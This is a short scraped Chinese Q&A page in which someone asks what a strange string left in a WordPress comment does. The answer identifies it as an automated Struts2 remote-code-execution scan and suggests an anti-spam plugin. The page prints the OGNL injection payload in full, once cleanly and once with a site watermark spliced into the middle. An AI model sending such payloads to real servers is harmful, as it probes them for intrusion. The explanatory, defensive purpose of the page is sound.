‘+(#context[”xwork.MethodAccessor.denyMethodExecution”]=new java.lang.Boolean(false),#_memberAccess[”allowStaticMethodAccess”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#[email protected]@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+’
回复内容：
‘+(#context[”xwork.MethodAccessor.denyMethodExecution”]=new java.lang.Boolean(false),#_memberAccess[”allowStaticMethodAccess”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#[email protected]@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().（本文来）源gaodaimacom搞#^代%!码&网(
搞gaodaima代码
flush(),#a_resp.getWriter().close())+’
印象中有这么一个java的struts2框架远程执行任意代码的漏洞
一般这种都是扫漏洞的脚本所为，如果不是用的只是wordpress，那你装一个防止垃圾评论的插件即可，不影响
转载请注明原文链接：javascript – 有人在wordpress评论里写这个，这段代码是干什么用的？
